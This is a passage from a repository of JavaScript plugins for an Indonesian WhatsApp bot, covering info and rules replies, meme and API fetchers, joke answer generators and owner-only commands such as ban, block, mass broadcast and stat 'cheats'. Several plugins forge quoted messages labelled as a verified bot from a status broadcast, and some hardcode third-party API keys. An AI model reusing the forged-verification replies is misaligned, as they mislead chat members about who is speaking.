TERVERIFIKASI*', 'status@broadcast') 24 | } 25 | handler.help = ['harga'] 26 | handler.tags = ['info'] 27 | handler.command = /^(harga)$/i 28 | 29 | handler.owner = false 30 | handler.mods = false 31 | handler.premium = false 32 | handler.group = false 33 | handler.private = false 34 | 35 | handler.fail = null 36 | handler.exp = 100 37 | 38 | module.exports = handler -------------------------------------------------------------------------------- /plugins/info-rules.js: -------------------------------------------------------------------------------- 1 | let handler = m => m.reply(` 2 | 3 | Rules 4 | # Semua yang dikatakan owner adalah mutlak 5 | 6 | 1) Dilarang Call/Vid Call bot secara langsung jika melakukan maka akan dibanned 7 | 2) Dilarang spamchat/command/button/clickbutton apalagi spam RPG ga ngotak 8 | 3) Dilarang mengirim Virus/Virtext 9 | 4) Dilarang send request/report main-main 10 | 5) Kami tidak akan bertanggung jawab atas segala sesuatu yang user lakukan terhadap bot 11 | 6) Bot akan menyimpan informasi di database nya 12 | 7) Kami tidak pernah menbocorkan data pribadi user 13 | 8) Dilarang copas design bot kami 14 | 9) Rules bot dpt berubah sewaktu-waktu demi keamanan dan kenyamanan 15 | `.trim()) 16 | 17 | handler.help = ['rules'] 18 | handler.tags = ['info'] 19 | handler.command = /^(rules)$/i 20 | 21 | module.exports = handler -------------------------------------------------------------------------------- /plugins/info-sewabot.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | ╭─「 RENT BOT 」 3 | │ 4 | │ > Harga : 5 | │• 5K / Minggu 6 | │• 20K / Bulan 7 | │ 8 | │ > Pembayaran : 9 | │• TRI : 089520306297 10 | ╰──── 11 | `.trim()) // Tambah sendiri kalo mau 12 | handler.help = ['sewa'] 13 | handler.tags = ['info'] 14 | handler.command = /^se(wa|wabot)$/i 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/info-totalfitur.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args, command }) => { 2 | let totalf = Object.values(global.plugins).filter( 3 | (v) => v.help && v.tags 4 | ).length; 5 | conn.reply(m.chat, `Total Fitur saat ini: ${totalf}`,m) 6 | } 7 | 8 | handler.help = ['totalfitur'] 9 | handler.tags = ['info'] 10 | handler.command = ['totalfitur'] 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/info.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let info = ` 3 | ┏━━°❀❬ *INFO* ❭❀°━━┓ 4 | ┃ 5 | ┃> Bot Created By : 6 | ┃• Zevano 7 | ┃ 8 | ┃> Bot Dibuat Dengan : 9 | ┃• JavaScript via NodeJS 10 | ┃• FFmpeg 11 | ┃• ImageMagick 12 | ┃ 13 | ┗━━━━━━━━━━━━━━━━ 14 | `.trim() 15 | 16 | conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '*NAYLABOTZ TERVERIFIKASI*', 'status@broadcast') 17 | } 18 | handler.help = ['info'] 19 | handler.tags = ['info'] 20 | handler.command = /^(info)$/i 21 | handler.owner = false 22 | handler.mods = false 23 | handler.premium = false 24 | handler.group = false 25 | handler.private = false 26 | 27 | handler.admin = false 28 | handler.botAdmin = false 29 | 30 | handler.fail = null 31 | 32 | module.exports = handler 33 | -------------------------------------------------------------------------------- /plugins/internet-darkjokes.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn }) => { 2 | conn.sendFile(m.chat, global.API('xteam', '/asupan/darkjoke', {}, 'APIKEY'), '', mess.sukses,m) 3 | } 4 | handler.help = ['darkjokes'] 5 | handler.tags = ['internet'] 6 | handler.command = /^(dragjoles|darkjokes)$/i 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/internet-kbbi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | if (!text) throw `Uhm.. Teksnya mana?` 4 | let res = await fetch(global.API('xteam', '/kbbi', { kata: text }, 'APIKEY')) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | if (!json.status) throw json 8 | let list = json.message.list.map((v, i) => `${i + 1}. ${v}`).join('\n') 9 | m.reply(`${json.message.word} 10 | 11 | ${list} 12 | `.trim()) 13 | } 14 | handler.help = ['kbbi '] 15 | handler.tags = ['internet'] 16 | handler.command = /^kbbi$/i 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/internet-meme.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | let handler = async (m, { conn }) => { 3 | let res = await fetch(global.API('https://some-random-api.ml', '/meme')) 4 | if (!res.ok) throw await res.text() 5 | let json = await res.json() 6 | if (!json.image) throw mess.error 7 | conn.sendFile(m.chat, json.image, 'meme.png', json.caption, m) 8 | } 9 | 10 | handler.help = ['meme'] 11 | handler.tags = ['internet'] 12 | 13 | handler.command = /^(meme)$/i 14 | 15 | handler.group = false 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/internet-meme_indo.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | let url = await fetch('https://api.zeks.xyz/api/memeindo?apikey=caliph_71') 4 | let barbar = await url.json() 5 | conn.sendFile(m.chat, barbar.result, 'memeindo', JSON.stringify(barbar, null, 2), m) 6 | } 7 | handler.command = handler.help = ['memeindo'] 8 | handler.tags = ['internet'] 9 | handler.register = true 10 | handler.private = false 11 | handler.limit = true 12 | 13 | module.exports = handler -------------------------------------------------------------------------------- /plugins/internet-ssweb.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, command, args }) => { 3 | let full = /f$/i.test(command) 4 | if (!args[0]) return conn.reply(m.chat, 'Tidak ada url', m) 5 | let url = /https?:\/\//.test(args[0]) ? args[0] : 'https://' + args[0] 6 | let ss = `https://api-caliph.herokuapp.com/api/ssweb?url=${url}&full=${full}&quality=1000&delay=1000` 7 | conn.sendMessage(m.chat, await fetch(ss).then(v => v.buffer()), 'imageMessage', { quoted: m }) 8 | } 9 | handler.help = ['ss', 'ssf'].map(v => v + ' ') 10 | handler.tags = ['internet'] 11 | handler.command = /^ss(web)?f?$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | handler.limit = 1 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler -------------------------------------------------------------------------------- /plugins/internet-subreddit.js: -------------------------------------------------------------------------------- 1 | 2 | let fetch = require("node-fetch") 3 | 4 | const defaultSubreddit = 'meme' 5 | let handler = async (m, { conn, text }) => { 6 | let res = await fetch(global.API('https://meme-api.herokuapp.com', '/gimme/' + encodeURI(text || defaultSubreddit), {})) 7 | if (!res.ok) throw await res.text() 8 | let json = await res.json() 9 | if (!json.url) throw 'Media tidak ditemukan!' 10 | await conn.sendFile(m.chat, json.url, text, json.title, m) 11 | } 12 | handler.help = ['subreddit '] 13 | handler.tags = ['internet'] 14 | handler.command = /^(sr|subreddit)$/i 15 | 16 | module.exports = handler -------------------------------------------------------------------------------- /plugins/internet-wikipedia.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { args }) => { 3 | if (!args) return m.reply('Mau cari apa?') 4 | let res = await fetch(`https://zahirr-web.herokuapp.com/api/wikipedia?search=${args[0]}&apikey=zahirgans`) 5 | let json = await res.json() 6 | if (json.result.status_code) m.reply(json.result.message + '!!') 7 | else m.reply('Menurut wikipedia *' + json.result.result + '*') 8 | } 9 | handler.help = ['wikipedia'] 10 | handler.tags = ['internet'] 11 | handler.command = /^(wiki(pedia)?)$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/kerang-How.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, text }) => { 2 | if (!text) throw `Siapa Yang *${command.replace('how', '').toUpperCase()}*` 3 | conn.reply(m.chat, ` 4 | ${command} *${text}* 5 | *${text}* is *${Math.floor(Math.random() * 101)}*% ${command.replace('how', '').toUpperCase()} 6 | `.trim(), m, m.mentionedJid ? { 7 | contextInfo: { 8 | mentionedJid: m.mentionedJid 9 | } 10 | } : {}) 11 | } 12 | handler.help = ['gay', 'pintar', 'cantik', 'ganteng', 'gabut', 'gila', 'lesbi', 'stress', 'bucin', 'jones', 'sadboy'].map(v => 'how' + v + ' siapa?') 13 | handler.tags = ['kerang'] 14 | handler.command = /^how(gay|pintar|cantik|ganteng|gabut|gila|lesbi|stress?|bucin|jones|sadboy)/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/kerang-apakah.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | conn.reply(m.chat, ` 3 | *Pertanyaan:* ${m.text} 4 | *Jawaban:* ${pickRandom(['Ya','Mungkin iya','Mungkin','Mungkin tidak','Tidak','Tidak mungkin'])} 5 | `.trim(), m) 6 | } 7 | handler.help = ['apakah ?'] 8 | handler.tags = ['kerang'] 9 | handler.customPrefix = /(\?$)/ 10 | handler.command = /^apakah/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | function pickRandom(list) { 25 | return list[Math.floor(Math.random() * list.length)] 26 | } 27 | 28 | -------------------------------------------------------------------------------- /plugins/kerang-artimimpi.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | if (!text) return m.reply('Mimpi apa? ') 4 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 5 | externalAdReply: { 6 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 7 | title: ext.title, 8 | body: ext.body, 9 | thumbnail: await(await fetch(ext.thum)).buffer() 10 | } 11 | } 12 | } 13 | ) 14 | let res = await fetch(global.API('bg', '/artimimpi', { mimpi: text })) 15 | let json = await res.json() 16 | if (json.status !== true) throw json 17 | conn.reply(m.chat, json.result.trim(), m) 18 | } 19 | handler.help = ['artimimpi'].map(v => v + ' [mimpi]') 20 | handler.tags = ['kerang'] 21 | handler.command = /^(artimimpi)$/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/kerang-benarkah.js: -------------------------------------------------------------------------------- 1 | // Jangan buly saya om saya cuma bercanda:) 2 | 3 | 4 | let handler = async (m, { conn, text }) => { 5 | conn.reply(m.chat, ` 6 | *Pertanyaan:* ${m.text} 7 | *Jawaban:* ${pickRandom(['Iya','Sudah pasti','Sudah pasti bisa','Tidak','Tentu tidak','Sudah pasti tidak'])} 8 | `.trim(), m) 9 | } 10 | handler.help = ['benarkah ?'] 11 | handler.tags = ['kerang'] 12 | handler.customPrefix = /(\?$)/ 13 | handler.command = /^benarkah/i 14 | handler.owner = false 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | 25 | module.exports = handler 26 | 27 | function pickRandom(list) { 28 | return list[Math.floor(Math.random() * list.length)] 29 | } 30 | 31 | -------------------------------------------------------------------------------- /plugins/kerang-bisakah.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | conn.reply(m.chat, ` 3 | *Pertanyaan:* ${m.text} 4 | *Jawaban:* ${pickRandom(['Iya','Bisa','Tentu saja bisa','Tentu bisa','Sudah pasti','Sudah pasti bisa','Tidak','Tidak bisa','Tentu tidak','tentu tidak bisa','Sudah pasti tidak'])} 5 | `.trim(), m) 6 | } 7 | handler.help = ['bisakah ?'] 8 | handler.tags = ['kerang'] 9 | handler.customPrefix = /(\?$)/ 10 | handler.command = /^bisakah/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | function pickRandom(list) { 25 | return list[Math.floor(Math.random() * list.length)] 26 | } 27 | 28 | -------------------------------------------------------------------------------- /plugins/kerang-kapankah.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | conn.reply(m.chat, ` 3 | *Pertanyaan:* ${m.text} 4 | *Jawaban:* ${Math.floor(Math.random() * 10)} ${pickRandom(['detik', 'menit', 'jam', 'hari', 'minggu', 'bulan', 'tahun', 'dekade', 'abad'])} lagi ... 5 | `.trim(), m) 6 | } 7 | handler.help = ['', 'kah'].map(v => 'kapan' + v + ' ?') 8 | handler.tags = ['kerang'] 9 | handler.customPrefix = /(\?$)/ 10 | handler.command = /^kapan(kah)?/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | function pickRandom(list) { 25 | return list[Math.floor(Math.random() * list.length)] 26 | } 27 | 28 | -------------------------------------------------------------------------------- /plugins/kerang-siapakah.js: -------------------------------------------------------------------------------- 1 | // Thanks to Nobuyaki 2 | 3 | let handler = async (m, { conn, text }) => { 4 | 5 | let member = (await conn.groupMetadata(m.chat)).participants.map(u => u.jid) 6 | let siapa = member[Math.floor(Math.random() * member.length)] 7 | let jawab = ` 8 | *Pertanyaan:* ${m.text} 9 | *Jawaban:* @${siapa.replace(/@.+/, '')} 10 | `.trim() 11 | 12 | let mentionedJid = [siapa] 13 | conn.reply(m.chat, jawab, m, { contextInfo: { mentionedJid }}) 14 | } 15 | handler.help = ['', 'kah'].map(v => 'siapa' + v + ' ?') 16 | handler.tags = ['kerang', 'group'] 17 | handler.customPrefix = /(\?$)/ 18 | handler.command = /^siapa(kah)?$/i 19 | handler.owner = false 20 | handler.mods = false 21 | handler.premium = false 22 | handler.group = true 23 | handler.private = false 24 | 25 | handler.admin = false 26 | handler.botAdmin = false 27 | 28 | handler.fail = null 29 | 30 | module.exports = handler 31 | -------------------------------------------------------------------------------- /plugins/main-report.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, text }) => { 3 | conn.req = conn.req ? conn.req : {} 4 | if (!text) return conn.reply(m.chat, 'Mau request apa an?', m) 5 | let name = conn.getName(m.sender) 6 | let _text = ('*dari:* ' + name + '\n*No:* ' + m.sender.split`@`[0] + '\nRequest:') 7 | conn.reply(m.chat, 'Pesan Anda sudah terkirim', m) 8 | conn.req[m.sender] = { 9 | name, 10 | text, 11 | date: new Date * 1 12 | } 13 | for (let jid of Object.entries(global.Owner).filter(v => v[1].isReport).map(v => v[0].replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != conn.user.jid)) { 14 | m.reply(_text, jid) 15 | m.reply(text, jid) 16 | } 17 | } 18 | handler.help = ['request', 'report'].map(v => v + '[teks]') 19 | handler.tags = ['main'] 20 | handler.command = /^(re(quest|port)|req|bug)$/i 21 | 22 | handler.fail = null 23 | 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/nulis-magernulis.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { command, conn, text }) => { 3 | let id = (command.match(/[1-6]$/) || [])[0] || '' 4 | let url = global.API('xteam', '/magernulis' + id, { 5 | text, 6 | nama: conn.getName(m.sender), 7 | kelas: ' ' 8 | }, 'APIKEY') 9 | await conn.sendFile(m.chat, url, 'nulis.jpg', '', m, false, { thumbnail: await (await fetch(url)).buffer() }) 10 | } 11 | handler.help = new Array(6).fill('magernulis').map((v, i) => v + (i + 1) + ' ') 12 | handler.tags = ['nulis'] 13 | 14 | handler.command = /^magernulis[1-6]?$/i 15 | 16 | handler.limit = true 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/nulis-magernulis1-6.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { command, conn, text }) => { 3 | let id = (command.match(/[1-6]$/) || [])[0] || '' 4 | let url = global.API('xteam', '/magernulis' + id, { 5 | text, 6 | nama: conn.getName(m.sender), 7 | kelas: ' ' 8 | }, 'APIKEY') 9 | await conn.sendFile(m.chat, url, 'nulis.jpg', '', m, false, { thumbnail: await (await fetch(url)).buffer() }) 10 | } 11 | handler.help = new Array(6).fill('magernulis').map((v, i) => v + (i + 1) + ' ') 12 | handler.tags = ['nulis'] 13 | 14 | handler.command = /^magernulis[1-6]?$/i 15 | 16 | handler.limit = true 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/nulis-quotemaker2.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async(m, { conn, text, usedPrefix, command}) => { 3 | let [q, n] = text.split `|` 4 | if (!q) throw `Ketik ${usedPrefix + command} ` 5 | let user = global.db.data.users[m.sender].name 6 | let name = n ? n : user ? user : await conn.getName(m.sender) 7 | let res = await fetch(`https://terhambar.com/aw/qts/?kata=${q}&author=${name}&tipe=random`) 8 | if (res.status !==200) throw 'Server error' 9 | let json = await res.json() 10 | await conn.sendFile(m.chat, json.result, 'q.jpg', mess.sukses, m) 11 | } 12 | handler.help = ['quotemaker2 '] 13 | handler.tags = ['nulis'] 14 | handler.command = /^q(uote)?maker?2$/i 15 | handler.limit = true 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/nulis-tahta2.js: -------------------------------------------------------------------------------- 1 | let util = require('util') 2 | let path = require('path') 3 | let { spawn } = require('child_process') 4 | 5 | // HartA tahta Xteam 6 | let handler = async (m, { conn, text }) => { 7 | let d = new Date 8 | let tgl = d.toLocaleDateString('id-Id') 9 | let hari = d.toLocaleDateString('id-Id', { weekday: 'long' }) 10 | text, 11 | await conn.sendFile(m.chat, global.API('xteam', '/tahta', { text, }, 'APIKEY'), 'Harta Tahta.png', mess.sukses, m) 12 | } 13 | handler.help = ['tahta2'].map(v => v + '') 14 | handler.tags = ['nulis'] 15 | handler.command = /^tahta2$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = true 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.register = true 27 | 28 | module.exports = handler 29 | -------------------------------------------------------------------------------- /plugins/owner--_expired.js: -------------------------------------------------------------------------------- 1 | let handler = m => m 2 | handler.before = async function (m) { 3 | 4 | if (m.isGroup && global.db.data.chats[m.chat].expired != 0) { 5 | if (new Date() * 1 >= global.db.data.chats[m.chat].expired) { 6 | this.reply(m.chat, `waktunya *${this.user.name}* untuk meninggalkan grup`, null).then(() => { 7 | this.sendContact(m.chat, global.owner[0], this.getName(global.owner[0] + '@s.whatsapp.net'), m).then(() => { 8 | this.groupLeave(m.chat).then(() => { 9 | global.db.data.chats[m.chat].expired = 0 10 | }) 11 | }) 12 | }) 13 | } 14 | } 15 | } 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/owner-backupsend.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | let handler = async (m, { conn, usedPrefix }) => { 3 | conn.sendFile(global.owner[0] + '@s.whatsapp.net', fs.readFileSync('./database.json'), 'database.json', '', 0, 0, { mimetype: 'application/json' }) 4 | } 5 | handler.help = ['sdb'] 6 | handler.tags = ['owner'] 7 | handler.command = ['sdb'] 8 | 9 | handler.owner = true 10 | 11 | 12 | module.exports = handler -------------------------------------------------------------------------------- /plugins/owner-banchat.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | // if (participants.map(v=>v.jid).includes(global.conn.user.jid)) { 3 | global.db.data.chats[m.chat].isBanned = true 4 | m.reply('Done!') 5 | // } else m.reply('Ada nomor host disini...') 6 | } 7 | handler.help = ['banchat'] 8 | handler.tags = ['owner'] 9 | handler.command = /^banchat$/i 10 | handler.owner = true 11 | 12 | module.exports = handler 13 | -------------------------------------------------------------------------------- /plugins/owner-banuser.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'Masukkan user yang ingin di ban\n\nExample: .ban 6282361160044' 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (!who) throw 'Tag salah satu lah' 7 | let users = global.db.data.users 8 | users[who].banned = true 9 | conn.reply(m.chat, `Berhasil Banned User`, m) 10 | } 11 | handler.help = ['ban'] 12 | handler.tags = ['owner'] 13 | handler.command = /^ban$/i 14 | handler.mods = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/owner-bcgc.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, isROwner, text }) => { 2 | const delay = time => new Promise(res => setTimeout(res, time)) 3 | let getGroups = await conn.groupFetchAllParticipating() 4 | let groups = Object.entries(getGroups).slice(0).map(entry => entry[1]) 5 | let anu = groups.map(v => v.id) 6 | var pesan = m.quoted && m.quoted.text ? m.quoted.text : text 7 | if(!pesan) throw 'teksnya?' 8 | m.reply(`Mengirim Broadcast Ke ${anu.length} Chat, Waktu Selesai ${anu.length * 0.5 } detik`) 9 | for (let i of anu) { 10 | await delay(500) 11 | conn.sendBut(i, `${pesan}`, wm, 'OWNER', '.owner', null).catch(_ => _) 12 | } 13 | m.reply(`Sukses Mengirim Broadcast Ke ${anu.length} Group`) 14 | } 15 | handler.help = ['bcgcbot '] 16 | handler.tags = ['owner'] 17 | handler.command = /^((broadcastgc|bcgc)bot)$/i 18 | 19 | handler.owner = true 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/owner-bcnowm.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let chats = conn.chats.all().filter(v => !v.read_only && v.message && !v.archive).map(v => v.jid) 3 | let content = await conn.cMod(m.chat, m, /bc|broadcast/i.test(text) ? text : text) 4 | for (let id of chats) conn.copyNForward(id, content, true) 5 | conn.reply(m.chat, `_Mengirim pesan broadcast ke ${chats.length} chat_`, m) 6 | } 7 | handler.help = ['broadcastnowm','bcnowm'].map(v => v + ' ') 8 | handler.tags = ['owner'] 9 | handler.command = /^(broadcastnowm|bcnowm)$/i 10 | handler.owner = true 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = false 14 | handler.private = false 15 | 16 | handler.admin = false 17 | handler.botAdmin = false 18 | 19 | handler.fail = null 20 | 21 | module.exports = handler 22 | 23 | const more = String.fromCharCode(8206) 24 | const readMore = more.repeat(4001) 25 | 26 | -------------------------------------------------------------------------------- /plugins/owner-block.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | 3 | let who 4 | if (m.isGroup) who = m.mentionedJid[0] 5 | else who = m.chat 6 | if (!who) throw 'Tag Orang yang mau diblock!' 7 | let user = `${who.split("@s.whatsapp.net")[0]}` + '@c.us' 8 | await conn.blockUser(user, 'add') 9 | conn.reply(m.chat, `Done!`, m) 10 | } 11 | handler.help = ['block <@user>'] 12 | handler.tags = ['owner'] 13 | handler.command = /^block$/i 14 | handler.owner = true 15 | 16 | module.exports = handler 17 | -------------------------------------------------------------------------------- /plugins/owner-blockList.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let blocked = conn.blocklist.map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').filter(v => v != conn.user.jid) 3 | conn.reply(m.chat, `┌ *「 Daftar Terblokir 」*` + `\n` + blocked.map((v, i) => `│ ${i + 1}. @${v.split`@`[0]}`).join`\n` + `\n└────`, m, { contextInfo: { mentionedJid: blocked } }) 4 | } 5 | handler.help = ['blocklist'] 6 | handler.tags = ['owner'] 7 | handler.command = /^listbloc?k|bloc?klist|daftarbloc?k$/i 8 | 9 | handler.owner = true 10 | 11 | module.exports = handler -------------------------------------------------------------------------------- /plugins/owner-broadcastgroups.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | let groups = conn.chats.array.filter(v => v.jid.endsWith('g.us') && !v.read_only && v.message).map(v => v.jid) 3 | for (let id of groups) conn.sendMessage(id, text + (/broadcast/im.test(text) ? '' : ('\n\n'+ '*「 BROADCAST GROUP 」*')), m.mtype, m.msg.contextInfo ? { 4 | contextInfo: m.msg.contextInfo 5 | } : {}) 6 | conn.reply(m.chat, `*SUKSES MENGIRIM PESAN KE ${groups.length} GROUP*`, m) 7 | } 8 | handler.help = ['broadcastgroup','bcgc'].map(v => v + ' ') 9 | handler.tags = ['owner'] 10 | handler.command = /^(broadcast|bc)(group|grup|gc)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | 24 | const more = String.fromCharCode(8206) 25 | const readMore = more.repeat(4001) 26 | 27 | -------------------------------------------------------------------------------- /plugins/owner-broadcastjadibot.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (conn.user.jid === global.conn.user.jid) { 3 | let users = [...new Set(conns.map(v => v.user).filter(v => v).map(v => v.jid))] 4 | for (let id of users) conn.sendMessage(id, text, m.mtype, m.msg.contextInfo ? { 5 | contextInfo: m.msg.contextInfo 6 | } : {}) 7 | conn.reply(m.chat, `_Berhasil Mengirim Broadcast Ke ${users.length} Nomor Yang Jadi Bot_`, m) 8 | } else conn.reply(m.chat, mess.owner, m) 9 | } 10 | handler.help = ['broadcastjadibot','bcbot'].map(v => v + ' ') 11 | handler.tags = ['owner'] 12 | handler.command = /^(broadcast|bc)(jadi)?bot$/i 13 | handler.owner = true 14 | handler.mods = false 15 | handler.premium = false 16 | handler.group = false 17 | handler.private = false 18 | 19 | handler.admin = false 20 | handler.botAdmin = false 21 | 22 | handler.fail = null 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/owner-cheatall.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn }) => { 4 | let user = global.db.data.users[m.sender] 5 | conn.reply(m.chat, `*Succes !*`, m) 6 | global.db.data.users[m.sender].money = Infinity 7 | global.db.data.users[m.sender].limit = Infinity 8 | global.db.data.users[m.sender].level = Infinity 9 | 10 | } 11 | handler.help = ['cheat'] 12 | handler.tags = ['owner'] 13 | handler.command = /^(cheat)$/i 14 | handler.owner = false 15 | handler.mods = true 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | handler.money = 0 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/owner-cheatiket.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let info = ` 3 | => global.db.data.users[m.sender].limit = 999999999999999999 4 | `.trim() 5 | 6 | conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '*BOT TERVERIFIKASI*', 'status@broadcast') 7 | } 8 | handler.help = ['cheatiket'] 9 | handler.tags = ['owner'] 10 | handler.command = /^(cheatiket)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/owner-cheatlimit.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { text }) => { 3 | m.reply('=> global.DATABASE.data.users[m.quoted.sender].limit = 100') 4 | 5 | } 6 | handler.help = ['cheatlimit'] 7 | handler.tags = ['owner'] 8 | handler.command = /^cheatlimit$/i 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/owner-cheatxp.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let info = ` 3 | => global.db.data.users[m.sender].exp = 9999999999999999 4 | `.trim() 5 | 6 | conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '*BOT TERVERIFIKASI*', 'status@broadcast') 7 | } 8 | handler.help = ['cheatxp'] 9 | handler.tags = ['owner'] 10 | handler.command = /^(cheatxp)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/owner-clearall.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, command, args }) => { 2 | let chats = conn.chats.all().map(chat => chat.jid) 3 | //let chats = args.length > 0 && /group|gc/i.test(args[0]) ? conn.chats.array.filter(v => v.jid.endsWith('g.us') && !v.pin).map(v => v.jid) : [m.chat] 4 | let isDelete = /^(clear|delete)/i.test(command) 5 | for (let id of chats) { 6 | if (isDelete) await conn.modifyChat(id, 'delete').catch(console.log) 7 | await conn.modifyChat(id, 'mute', -Math.floor(new Date / 1e3) * 1e3 - 1e3).catch(console.log) 8 | } 9 | conn.reply(m.chat, `*Sukses delete All chat* `, m) 10 | } 11 | handler.help = ['clearall'] 12 | handler.tags = ['owner'] 13 | handler.command = /^clearall$/i 14 | handler.owner = true 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 21 | handler.botAdmin = false 22 | 